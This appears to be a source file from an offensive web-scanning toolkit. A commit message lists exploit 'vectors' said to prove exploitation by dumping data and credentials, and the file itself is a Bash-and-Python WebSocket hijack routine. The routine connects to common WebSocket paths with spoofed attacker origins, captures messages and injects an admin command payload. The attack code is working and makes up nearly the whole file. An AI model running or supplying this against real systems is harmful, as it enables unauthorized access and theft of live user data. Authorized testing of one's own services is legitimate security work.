d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
104 lines
2.7 KiB
Bash
104 lines
2.7 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 24: WebSocket Hijack — Intercepts & injects WS messages
|
|
# Desc: Tests for missing WS origin validation, message injection
|
|
# Severity: HIGH
|
|
# Proof: Sends/receives WS messages proving hijack
|
|
|
|
vector_websocket_hijack() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting WebSocket Hijacking..."
|
|
|
|
# Common WS endpoints
|
|
local ws_paths=(
|
|
"/ws" "/wss" "/websocket" "/socket" "/sock" "/chat"
|
|
"/ws/v1" "/ws/v2" "/notifications" "/events" "/stream"
|
|
"/realtime" "/live" "/subscribe" "/push" "/notification"
|
|
"/graphql" "/subscriptions" "/api/ws" "/api/wss"
|
|
)
|
|
|
|
local ws_protocols=("ws://" "wss://")
|
|
local base=$(get_base "$target")
|
|
local ws_base=$(echo "$base" | sed 's/https:/wss:/;s/http:/ws:/')
|
|
|
|
# Origin headers to test
|
|
local evil_origins=(
|
|
"https://evil.com"
|
|
"https://attacker.com"
|
|
"https://${domain}.evil.com"
|
|
"null"
|
|
"http://localhost"
|
|
)
|
|
|
|
local tested=0
|
|
|
|
for path in "${ws_paths[@]}"; do
|
|
local ws_url="${ws_base}${path}"
|
|
|
|
for origin in "${evil_origins[@]}"; do
|
|
tested=$((tested + 1))
|
|
|
|
# Use Python to test WS connection
|
|
local result=$(python3 -c "
|
|
import json, sys
|
|
try:
|
|
import websocket
|
|
ws = websocket.create_connection(
|
|
'$ws_url',
|
|
header={'Origin': '$origin'},
|
|
timeout=5
|
|
)
|
|
ws.settimeout(3)
|
|
|
|
# Try to receive a message
|
|
try:
|
|
msg = ws.recv()
|
|
if msg:
|
|
print(f'RECEIVED: ' + msg[:200])
|
|
except:
|
|
print('CONNECTED: true')
|
|
|
|
# Try to send malicious message
|
|
try:
|
|
ws.send(json.dumps({'action': 'admin', 'cmd': 'whoami'}))
|
|
resp = ws.recv()
|
|
if resp:
|
|
print(f'INJECTION_RESPONSE: ' + resp[:200])
|
|
except:
|
|
pass
|
|
|
|
ws.close()
|
|
except Exception as e:
|
|
print(f'ERROR: ' + str(e)[:100])
|
|
" 2>/dev/null)
|
|
|
|
if echo "$result" | grep -qi "RECEIVED:\|CONNECTED:\|INJECTION_RESPONSE:"; then
|
|
if echo "$result" | grep -qi "RECEIVED:\|INJECTION_RESPONSE:"; then
|
|
print_find "WebSocket Hijack Confirmed!" "Connected from $origin to $ws_url"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: WebSocket Hijack
|
|
DETAIL: Connected to WebSocket with spoofed origin $origin
|
|
URL: $ws_url
|
|
EVIDENCE: $result
|
|
EXPLOIT: Steal real-time data, inject malicious messages" > "$REPORTS_DIR/.finding_ws_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
else
|
|
print_find "WebSocket Accessible" "Insecure WS endpoint at $ws_url"
|
|
findings=$((findings + 1))
|
|
fi
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No WebSocket hijacking found"
|
|
fi
|
|
|
|
print_sub "Tested $tested WS endpoints"
|
|
return $findings
|
|
}
|